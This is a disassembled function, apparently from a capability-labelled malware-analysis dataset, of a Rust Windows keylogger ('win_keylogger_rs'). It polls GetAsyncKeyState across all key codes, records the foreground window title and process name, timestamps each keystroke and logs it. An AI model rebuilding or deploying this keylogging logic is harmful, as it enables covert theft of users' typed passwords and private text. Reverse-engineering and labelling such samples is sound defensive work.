Function at 0x140002b90
Capabilities:
Get graphical window text
Get process image filename
Log keystrokes via polling

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0xb60
mov qword [rsp + 0x220], rcx
mov qword [rsp + 0x8d0], rcx
call dbg.log_header
xor eax, eax
mov dx, ax
lea rcx, [rsp + 0x250]
mov qword [rsp + 0x228], rcx
mov r8d, 0x55
call dbg.from_elem<u16>
mov rcx, qword [rsp + 0x228]
call dbg.alloc::vec::Vec<T,A>::as_mut_ptr::h09fec4dac96d840a
mov qword [rsp + 0x230], rax
jmp 0x140002c12
mov rcx, qword [rsp + 0x230]
mov edx, 0x55
call sub.KERNEL32.dll_GetUserDefaultLocaleName
jmp 0x140002c26
mov qword [rsp + 0x268], 0
lea rcx, [rsp + 0x250]
call dbg.deref<u16, alloc::alloc::Global>
mov qword [rsp + 0x210], rdx
mov qword [rsp + 0x218], rax
jmp 0x140002c51
mov rdx, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x218]
call dbg.iter<u16>
mov qword [rsp + 0x200], rdx
mov qword [rsp + 0x208], rax
jmp 0x140002c78
mov r8, qword [rsp + 0x200]
mov rdx, qword [rsp + 0x208]
lea rcx, [rsp + 0x270]
call dbg.enumerate<core::slice::iter::Iter<u16>>
jmp 0x140002c97
lea rax, [rsp + 0x268]
mov qword [rsp + 0x288], rax
mov rdx, qword [rsp + 0x288]
lea rcx, [rsp + 0x270]
call dbg.for_each<core::iter::adapters::enumerate::Enumerate<core::slice::iter::Iter<u16>>, win_keylogger_rs::run::{closure_env#0}>
jmp 0x140002cbe
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x290], 0
mov qword [rsp + 0x298], rax
mov rdx, qword [rsp + 0x290]
mov r8, qword [rsp + 0x298]
lea r9, str.srcmain.rs
lea rcx, [rsp + 0x250]
call dbg.index_mut<u16, core::ops::range::Range<usize>, alloc::alloc::Global>
mov qword [rsp + 0x1f0], rdx
mov qword [rsp + 0x1f8], rax
jmp 0x140002d10
mov rax, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0x1f8]
mov qword [rsp + 0xb50], rcx
mov qword [rsp + 0xb58], rax
mov r8, qword [rsp + 0x1f0]
mov rdx, qword [rsp + 0x1f8]
lea rcx, [rsp + 0x238]
call dbg.alloc::string::String::from_utf16_lossy::h688b57f934daa008
jmp 0x140002d4f
lea rcx, [rsp + 0x250]
call dbg.drop_in_place<alloc::vec::Vec<u16, alloc::alloc::Global>>
lea rcx, [rsp + 0x238]
mov qword [rsp + 0xb30], rcx
lea rax, [sym.__alloc::string::String_as_core::fmt::Display_::fmt::h803e77c54cd47165]
mov qword [rsp + 0xb38], rax
mov qword [rsp + 0xb20], rcx
mov qword [rsp + 0xb28], rax
mov rax, qword [rsp + 0xb20]
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0xb28]
mov qword [rsp + 0x1e8], rax
jmp 0x140002dd5
mov rax, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x1e0]
mov qword [rsp + 0x308], rcx
mov qword [rsp + 0x310], rax
mov rax, rsp
mov qword [rax + 0x20], 1
lea rdx, str.Locale:__n
lea rcx, [rsp + 0x2d8]
mov r8d, 2
lea r9, [rsp + 0x308]
call dbg.core::fmt::Arguments::new_v1::hcb672ab13dfffd97
jmp 0x140002e24
lea rcx, [rsp + 0x2c0]
lea rdx, [rsp + 0x2d8]
call dbg.format
jmp 0x140002e3b
mov rcx, qword [rsp + 0x220]
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x2b0], rax
movups xmm0, xmmword [rsp + 0x2c0]
movaps xmmword [rsp + 0x2a0], xmm0
lea rdx, [rsp + 0x2a0]
call sym.win_keylogger_rs::log::h7b3a9d8840c4cc44
jmp 0x140002e72
lea rdx, str._nKeylogs:_n
lea rcx, [rsp + 0x318]
mov r8d, 0xa
call sym.__str_as_alloc::string::ToString_::to_string::hd3ec702ed56312d5
jmp 0x140002e8e
mov rcx, qword [rsp + 0x220]
lea rdx, [rsp + 0x318]
call sym.win_keylogger_rs::log::h7b3a9d8840c4cc44
jmp 0x140002ea5
jmp 0x140002ea7
mov ecx, 0xa
call dbg.core::time::Duration::from_millis::h2016ea07d7ff61bd
mov dword [rsp + 0x1d4], edx
mov qword [rsp + 0x1d8], rax
jmp 0x140002ec2
mov edx, dword [rsp + 0x1d4]
mov rcx, qword [rsp + 0x1d8]
call sym.std::thread::sleep::h0439b739caeccedc
jmp 0x140002ed8
call sub.USER32.dll_GetForegroundWindow
mov qword [rsp + 0x1c8], rax
jmp 0x140002ee7
mov rcx, qword [rsp + 0x1c8]
mov qword [rsp + 0x8e8], rcx
mov dword [rsp + 0x334], 0
lea rdx, [rsp + 0x334]
call sub.USER32.dll_GetWindowThreadProcessId
jmp 0x140002f11
mov r8d, dword [rsp + 0x334]
mov dword [rsp + 0x8f4], r8d
mov ecx, 0x1000
xor edx, edx
call sub.KERNEL32.dll_OpenProcess
mov qword [rsp + 0x1c0], rax
jmp 0x140002f37
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x8f8], rax
xor eax, eax
mov dx, ax
lea rcx, [rsp + 0x350]
mov r8d, 0x100
call dbg.from_elem<u16>
jmp 0x140002f61
lea rcx, [rsp + 0x350]
call dbg.alloc::vec::Vec<T,A>::as_mut_ptr::h09fec4dac96d840a
mov qword [rsp + 0x1b8], rax
jmp 0x140002fa0
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1c0]
mov r8d, 0x100
call sub.PSAPI.DLL_GetProcessImageFileNameW
jmp 0x140002fbd
mov qword [rsp + 0x368], 0
lea rcx, [rsp + 0x350]
call dbg.deref<u16, alloc::alloc::Global>
mov qword [rsp + 0x1a8], rdx
mov qword [rsp + 0x1b0], rax
jmp 0x140002fe8
mov rdx, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x1b0]
call dbg.iter<u16>
mov qword [rsp + 0x198], rdx
mov qword [rsp + 0x1a0], rax
jmp 0x14000300f
mov r8, qword [rsp + 0x198]
mov rdx, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x370]
call dbg.enumerate<core::slice::iter::Iter<u16>>
jmp 0x14000302e
lea rax, [rsp + 0x368]
mov qword [rsp + 0x388], rax
mov rdx, qword [rsp + 0x388]
lea rcx, [rsp + 0x370]
call dbg.for_each<core::iter::adapters::enumerate::Enumerate<core::slice::iter::Iter<u16>>, win_keylogger_rs::run::{closure_env#1}>
jmp 0x140003055
mov rax, qword [rsp + 0x368]
mov qword [rsp + 0x390], 0
mov qword [rsp + 0x398], rax
mov rdx, qword [rsp + 0x390]
mov r8, qword [rsp + 0x398]
lea r9, str.srcmain.rs
lea rcx, [rsp + 0x350]
call dbg.index_mut<u16, core::ops::range::Range<usize>, alloc::alloc::Global>
mov qword [rsp + 0x188], rdx
mov qword [rsp + 0x190], rax
jmp 0x1400030a7
mov rax, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x190]
mov qword [rsp + 0xb40], rcx
mov qword [rsp + 0xb48], rax
mov r8, qword [rsp + 0x188]
mov rdx, qword [rsp + 0x190]
lea rcx, [rsp + 0x338]
call dbg.alloc::string::String::from_utf16_lossy::h688b57f934daa008
jmp 0x1400030e6
lea rcx, [rsp + 0x350]
call dbg.drop_in_place<alloc::vec::Vec<u16, alloc::alloc::Global>>
jmp 0x1400030f5
mov rcx, qword [rsp + 0x1c8]
call sub.USER32.dll_GetWindowTextLengthW
mov dword [rsp + 0x184], eax
jmp 0x140003133
mov eax, dword [rsp + 0x184]
inc eax
mov dword [rsp + 0x180], eax
seto al
test al, 1
jne 0x140003174
mov eax, dword [rsp + 0x180]
mov dword [rsp + 0x904], eax
lea rdx, [0x14020e65c]
lea rcx, [rsp + 0x3c0]
mov r8d, 0xc
call sym.__alloc::string::String_as_core::convert::From_str__::from::h67dfc4ac67445dfb
jmp 0x140003190
lea rcx, str.attempt_to_add_with_overflow__NO_TITLE__
lea r8, str.srcmain.rs
mov edx, 0x1c
call dbg.panic
jmp 0x14000318e
ud2
mov eax, dword [rsp + 0x180]
cmp eax, 0
jg 0x1400031ce
mov rax, qword [rsp + 0x3d0]
mov qword [rsp + 0x3b0], rax
movaps xmm0, xmmword [rsp + 0x3c0]
movaps xmmword [rsp + 0x3a0], xmm0
lea rcx, [rsp + 0x40c]
call dbg.chrono::offset::utc::Utc::now::hbf6f0161fb494667
jmp 0x1400033d5
mov eax, dword [rsp + 0x180]
movsxd r8, eax
xor eax, eax
mov dx, ax
lea rcx, [rsp + 0x3d8]
call dbg.from_elem<u16>
jmp 0x140003214
lea rcx, [rsp + 0x3d8]
call dbg.alloc::vec::Vec<T,A>::as_mut_ptr::h09fec4dac96d840a
mov qword [rsp + 0x178], rax
jmp 0x140003250
mov r8d, dword [rsp + 0x180]
mov rdx, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x1c8]
call sub.USER32.dll_GetWindowTextW
jmp 0x14000326f
lea rcx, [rsp + 0x3d8]
call dbg.alloc::vec::Vec<T,A>::len::hc4cafb0946dbcab8
mov qword [rsp + 0x170], rax
jmp 0x140003286
mov rax, qword [rsp + 0x170]
mov rcx, rax
sub rcx, 1
mov qword [rsp + 0x168], rcx
cmp rax, 1
setb al
test al, 1
jne 0x1400032c6
mov rdx, qword [rsp + 0x168]
lea r8, str.srcmain.rs
lea rcx, [rsp + 0x3d8]
call dbg.alloc::vec::Vec<T,A>::remove::h2dc6274d3ca3d9d8
jmp 0x1400032e3
lea rcx, [0x14020e680]
lea r8, str.srcmain.rs
mov edx, 0x21
call dbg.panic
jmp 0x14000318e
lea rcx, [rsp + 0x3d8]
call dbg.as_mut<u16, alloc::alloc::Global>
mov qword [rsp + 0x158], rdx
mov qword [rsp + 0x160], rax
jmp 0x140003302
mov r8, qword [rsp + 0x158]
mov rdx, qword [rsp + 0x160]
lea rcx, [rsp + 0x3f0]
call dbg.alloc::string::String::from_utf16_lossy::h688b57f934daa008
jmp 0x140003321
lea rcx, [rsp + 0x3c0]
call dbg.drop_in_place<alloc::string::String>
jmp 0x14000337b
mov rax, qword [rsp + 0x400]
mov qword [rsp + 0x3d0], rax
movups xmm0, xmmword [rsp + 0x3f0]
movaps xmmword [rsp + 0x3c0], xmm0
lea rcx, [rsp + 0x3d8]
call dbg.drop_in_place<alloc::vec::Vec<u16, alloc::alloc::Global>>
jmp 0x14000319c
mov dword [rsp + 0x418], 0
mov dword [rsp + 0x41c], 0xff
mov ecx, dword [rsp + 0x418]
mov edx, dword [rsp + 0x41c]
call dbg.into_iter<core::ops::range::Range<i32>>
mov dword [rsp + 0x150], edx
mov dword [rsp + 0x154], eax
jmp 0x14000340e
mov eax, dword [rsp + 0x150]
mov ecx, dword [rsp + 0x154]
mov dword [rsp + 0x420], ecx
mov dword [rsp + 0x424], eax
lea rcx, [rsp + 0x420]
call sym._ZN4core4iter5range101__LT_impl_u20_core..iter..traits..iterator..Iterator_u20_for_u20_core..ops..range..Range_LT_A_GT__GT_4ne
mov dword [rsp + 0x148], edx
mov dword [rsp + 0x14c], eax
jmp 0x140003447
mov eax, dword [rsp + 0x148]
mov ecx, dword [rsp + 0x14c]
mov dword [rsp + 0x428], ecx
mov dword [rsp + 0x42c], eax
mov eax, dword [rsp + 0x428]
cmp rax, 0
jne 0x14000347f
lea rcx, [rsp + 0x3a0]
call dbg.drop_in_place<alloc::string::String>
jmp 0x1400034a3
mov ecx, dword [rsp + 0x42c]
mov dword [rsp + 0x140], ecx
mov dword [rsp + 0x908], ecx
call sub.USER32.dll_GetAsyncKeyState
mov word [rsp + 0x146], ax
jmp 0x1400034b5
lea rcx, [rsp + 0x338]
call dbg.drop_in_place<alloc::string::String>
jmp 0x140002ea7
mov ax, word [rsp + 0x146]
mov word [rsp + 0x90e], ax
and ax, 1
cmp ax, 0
jle 0x14000342a
lea rcx, [rsp + 0x40c]
call dbg.hour<chrono::offset::utc::Utc>
mov dword [rsp + 0x13c], eax
jmp 0x1400034e9
mov eax, dword [rsp + 0x13c]
mov dword [rsp + 0x4fc], eax
lea rcx, [rsp + 0x4fc]
mov qword [rsp + 0xaf0], rcx
lea rax, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::h88a9320d823a9a2a]
mov qword [rsp + 0xaf8], rax
mov qword [rsp + 0xae0], rcx
mov qword [rsp + 0xae8], rax
mov rax, qword [rsp + 0xae0]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0xae8]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x130]
mov rcx, qword [rsp + 0x128]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
lea rcx, [rsp + 0x40c]
call dbg.minute<chrono::offset::utc::Utc>
mov dword [rsp + 0x124], eax
jmp 0x14000357c
mov eax, dword [rsp + 0x124]
mov dword [rsp + 0x500], eax
lea rcx, [rsp + 0x500]
mov qword [rsp + 0xad0], rcx
lea rax, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::h88a9320d823a9a2a]
mov qword [rsp + 0xad8], rax
mov qword [rsp + 0xac0], rcx
mov qword [rsp + 0xac8], rax
mov rax, qword [rsp + 0xac0]
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0xac8]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
mov rcx, qword [rsp + 0x100]
mov qword [rsp + 0xe8], rcx
mov qword [rsp + 0xf0], rax
lea rcx, [rsp + 0x40c]
call dbg.second<chrono::offset::utc::Utc>
mov dword [rsp + 0xfc], eax
jmp 0x14000360f
mov eax, dword [rsp + 0xfc]
mov dword [rsp + 0x504], eax
lea rcx, [rsp + 0x504]
mov qword [rsp + 0xab0], rcx
lea rax, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::h88a9320d823a9a2a]
mov qword [rsp + 0xab8], rax
mov qword [rsp + 0xaa0], rcx
mov qword [rsp + 0xaa8], rax
mov rax, qword [rsp + 0xaa0]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0xaa8]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xd8]
mov qword [rsp + 0xb8], rcx
mov qword [rsp + 0xc0], rax
lea rcx, [rsp + 0x338]
call sym.__alloc::string::String_as_core::ops::deref::Deref_::deref::hb3f5b866625e4764
mov qword [rsp + 0xc8], rdx
mov qword [rsp + 0xd0], rax
jmp 0x1400036ab
mov rdx, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0xd0]
call dbg.trim
mov qword [rsp + 0xa8], rdx
mov qword [rsp + 0xb0], rax
jmp 0x1400036d2
mov rax, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0xb0]
mov qword [rsp + 0x508], rcx
mov qword [rsp + 0x510], rax
lea rcx, [rsp + 0x508]
mov qword [rsp + 0xa90], rcx
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h44d54acf3cf244ee]
mov qword [rsp + 0xa98], rax
mov qword [rsp + 0xa80], rcx
mov qword [rsp + 0xa88], rax
mov rax, qword [rsp + 0xa80]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xa88]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x98]
mov qword [rsp + 0x78], rcx
mov qword [rsp + 0x80], rax
lea rcx, [rsp + 0x3a0]
call sym.__alloc::string::String_as_core::ops::deref::Deref_::deref::hb3f5b866625e4764
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0x90], rax
jmp 0x14000377d
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x90]
call dbg.trim
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x70], rax
jmp 0x14000379e
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x518], rcx
mov qword [rsp + 0x520], rax
lea rcx, [rsp + 0x518]
mov qword [rsp + 0xa70], rcx
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h44d54acf3cf244ee]
mov qword [rsp + 0xa78], rax
mov qword [rsp + 0xa60], rcx
mov qword [rsp + 0xa68], rax
mov rax, qword [rsp + 0xa60]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0xa68]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x140]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], rcx
mov dl, al
lea rcx, [rsp + 0x528]
call dbg.keycode_to_string
jmp 0x14000382d
lea rcx, [rsp + 0x528]
mov qword [rsp + 0xb10], rcx
lea rax, [sym.__alloc::string::String_as_core::fmt::Display_::fmt::h803e77c54cd47165]
mov qword [rsp + 0xb18], rax
mov qword [rsp + 0xb00], rcx
mov qword [rsp + 0xb08], rax
mov rax, qword [rsp + 0xb00]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xb08]
mov qword [rsp + 0x40], rax
jmp 0x1400038a0
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x48]
mov r9, qword [rsp + 0x80]
mov r10, qword [rsp + 0x78]
mov r11, qword [rsp + 0xc0]
mov rsi, qword [rsp + 0xb8]
mov rdi, qword [rsp + 0xf0]
mov rbx, qword [rsp + 0xe8]
mov r14, qword [rsp + 0x118]
mov r15, qword [rsp + 0x110]
mov qword [rsp + 0x498], r15
mov qword [rsp + 0x4a0], r14
mov qword [rsp + 0x4a8], rbx
mov qword [rsp + 0x4b0], rdi
mov qword [rsp + 0x4b8], rsi
mov qword [rsp + 0x4c0], r11
mov qword [rsp + 0x4c8], r10
mov qword [rsp + 0x4d0], r9
mov qword [rsp + 0x4d8], r8
mov qword [rsp + 0x4e0], rdx
mov qword [rsp + 0x4e8], rcx
mov qword [rsp + 0x4f0], rax
mov byte [rsp + 0x6cf], 3
mov qword [rsp + 0x6d0], 2
mov qword [rsp + 0x6e8], 2
mov qword [rsp + 0x6e0], 0
mov r9b, byte [rsp + 0x6cf]
mov r8, qword [rsp + 0x6d0]
mov rdx, qword [rsp + 0x6d8]
mov rcx, qword [rsp + 0x6e0]
mov rax, qword [rsp + 0x6e8]
mov qword [rsp + 0xa28], 0
mov dword [rsp + 0xa34], 0x20
mov byte [rsp + 0xa3b], r9b
mov dword [rsp + 0xa3c], 8
mov qword [rsp + 0xa40], r8
mov qword [rsp + 0xa48], rdx
mov qword [rsp + 0xa50], rcx
mov qword [rsp + 0xa58], rax
mov qword [rsp + 0x6b0], 0
mov dword [rsp + 0x6b8], 0x20
mov byte [rsp + 0x6c0], r9b
mov dword [rsp + 0x6bc], 8
mov qword [rsp + 0x690], r8
mov qword [rsp + 0x698], rdx
mov qword [rsp + 0x6a0], rcx
mov qword [rsp + 0x6a8], rax
mov byte [rsp + 0x72f], 3
mov qword [rsp + 0x730], 2
mov qword [rsp + 0x748], 2
mov qword [rsp + 0x740], 0
mov r9b, byte [rsp + 0x72f]
mov r8, qword [rsp + 0x730]
mov rdx, qword [rsp + 0x738]
mov rcx, qword [rsp + 0x740]
mov rax, qword [rsp + 0x748]
mov qword [rsp + 0x9f0], 1
mov dword [rsp + 0x9fc], 0x20
mov byte [rsp + 0xa03], r9b
mov dword [rsp + 0xa04], 8
mov qword [rsp + 0xa08], r8
mov qword [rsp + 0xa10], rdx
mov qword [rsp + 0xa18], rcx
mov qword [rsp + 0xa20], rax
mov qword [rsp + 0x710], 1
mov dword [rsp + 0x718], 0x20
mov byte [rsp + 0x720], r9b
mov dword [rsp + 0x71c], 8
mov qword [rsp + 0x6f0], r8
mov qword [rsp + 0x6f8], rdx
mov qword [rsp + 0x700], rcx
mov qword [rsp + 0x708], rax
mov byte [rsp + 0x78f], 3
mov qword [rsp + 0x790], 2
mov qword [rsp + 0x7a8], 2
mov qword [rsp + 0x7a0], 0
mov r9b, byte [rsp + 0x78f]
mov r8, qword [rsp + 0x790]
mov rdx, qword [rsp + 0x798]
mov rcx, qword [rsp + 0x7a0]
mov rax, qword [rsp + 0x7a8]
mov qword [rsp + 0x9b8], 2
mov dword [rsp + 0x9c4], 0x20
mov byte [rsp + 0x9cb], r9b
mov dword [rsp + 0x9cc], 8
mov qword [rsp + 0x9d0], r8
mov qword [rsp + 0x9d8], rdx
mov qword [rsp + 0x9e0], rcx
mov qword [rsp + 0x9e8], rax
mov qword [rsp + 0x770], 2
mov dword [rsp + 0x778], 0x20
mov byte [rsp + 0x780], r9b
mov dword [rsp + 0x77c], 8
mov qword [rsp + 0x750], r8
mov qword [rsp + 0x758], rdx
mov qword [rsp + 0x760], rcx
mov qword [rsp + 0x768], rax
mov byte [rsp + 0x7ef], 3
mov qword [rsp + 0x7f0], 2
mov qword [rsp + 0x800], 2
mov r9b, byte [rsp + 0x7ef]
mov r8, qword [rsp + 0x7f0]
mov rdx, qword [rsp + 0x7f8]
mov rcx, qword [rsp + 0x800]
mov rax, qword [rsp + 0x808]
mov qword [rsp + 0x980], 3
mov dword [rsp + 0x98c], 0x20
mov byte [rsp + 0x993], r9b
mov dword [rsp + 0x994], 0
mov qword [rsp + 0x998], r8
mov qword [rsp + 0x9a0], rdx
mov qword [rsp + 0x9a8], rcx
mov qword [rsp + 0x9b0], rax
mov qword [rsp + 0x7d0], 3
mov dword [rsp + 0x7d8], 0x20
mov byte [rsp + 0x7e0], r9b
mov dword [rsp + 0x7dc], 0
mov qword [rsp + 0x7b0], r8
mov qword [rsp + 0x7b8], rdx
mov qword [rsp + 0x7c0], rcx
mov qword [rsp + 0x7c8], rax
mov byte [rsp + 0x84f], 3
mov qword [rsp + 0x850], 2
mov qword [rsp + 0x860], 2
mov r9b, byte [rsp + 0x84f]
mov r8, qword [rsp + 0x850]
mov rdx, qword [rsp + 0x858]
mov rcx, qword [rsp + 0x860]
mov rax, qword [rsp + 0x868]
mov qword [rsp + 0x948], 4
mov dword [rsp + 0x954], 0x20
mov byte [rsp + 0x95b], r9b
mov dword [rsp + 0x95c], 0
mov qword [rsp + 0x960], r8
mov qword [rsp + 0x968], rdx
mov qword [rsp + 0x970], rcx
mov qword [rsp + 0x978], rax
mov qword [rsp + 0x830], 4
mov dword [rsp + 0x838], 0x20
mov byte [rsp + 0x840], r9b
mov dword [rsp + 0x83c], 0
mov qword [rsp + 0x810], r8
mov qword [rsp + 0x818], rdx
mov qword [rsp + 0x820], rcx
mov qword [rsp + 0x828], rax
mov byte [rsp + 0x8af], 3
mov qword [rsp + 0x8b0], 2
mov qword [rsp + 0x8c0], 2
mov r9b, byte [rsp + 0x8af]
mov r8, qword [rsp + 0x8b0]
mov rdx, qword [rsp + 0x8b8]
mov rcx, qword [rsp + 0x8c0]
mov rax, qword [rsp + 0x8c8]
mov qword [rsp + 0x910], 5
mov dword [rsp + 0x91c], 0x20
mov byte [rsp + 0x923], r9b
mov dword [rsp + 0x924], 0
mov qword [rsp + 0x928], r8
mov qword [rsp + 0x930], rdx
mov qword [rsp + 0x938], rcx
mov qword [rsp + 0x940], rax
mov qword [rsp + 0x890], 5
mov dword [rsp + 0x898], 0x20
mov byte [rsp + 0x8a0], r9b
mov dword [rsp + 0x89c], 0
mov qword [rsp + 0x870], r8
mov qword [rsp + 0x878], rdx
mov qword [rsp + 0x880], rcx
mov qword [rsp + 0x888], rax
lea rcx, [rsp + 0x540]
lea rdx, [rsp + 0x690]
mov r8d, 0x38
call sym.memcpy
lea rcx, [rsp + 0x540]
add rcx, 0x38
lea rdx, [rsp + 0x6f0]
mov r8d, 0x38
call sym.memcpy
lea rcx, [rsp + 0x540]
add rcx, 0x70
lea rdx, [rsp + 0x750]
mov r8d, 0x38
call sym.memcpy
lea rcx, [rsp + 0x540]
add rcx, 0xa8
lea rdx, [rsp + 0x7b0]
mov r8d, 0x38
call sym.memcpy
lea rcx, [rsp + 0x540]
add rcx, 0xe0
lea rdx, [rsp + 0x810]
mov r8d, 0x38
call sym.memcpy
lea rcx, [rsp + 0x540]
add rcx, 0x118
lea rdx, [rsp + 0x870]
mov r8d, 0x38
call sym.memcpy
mov rax, rsp
lea rcx, [rsp + 0x540]
mov qword [rax + 0x28], rcx
mov qword [rax + 0x30], 6
mov qword [rax + 0x20], 6
lea rdx, str._:____n
lea rcx, [rsp + 0x468]
mov r8d, 7
lea r9, [rsp + 0x498]
call dbg.core::fmt::Arguments::new_v1_formatted::h2b67b24feee2c4ad
jmp 0x140003f9f
lea rcx, [rsp + 0x450]
lea rdx, [rsp + 0x468]
call dbg.format
jmp 0x140003fb6
lea rcx, [rsp + 0x528]
call dbg.drop_in_place<alloc::string::String>
jmp 0x140003fed
mov rcx, qword [rsp + 0x220]
mov rax, qword [rsp + 0x460]
mov qword [rsp + 0x440], rax
movups xmm0, xmmword [rsp + 0x450]
movaps xmmword [rsp + 0x430], xmm0
lea rdx, [rsp + 0x430]
call sym.win_keylogger_rs::log::h7b3a9d8840c4cc44
jmp 0x140004024
jmp 0x14000342a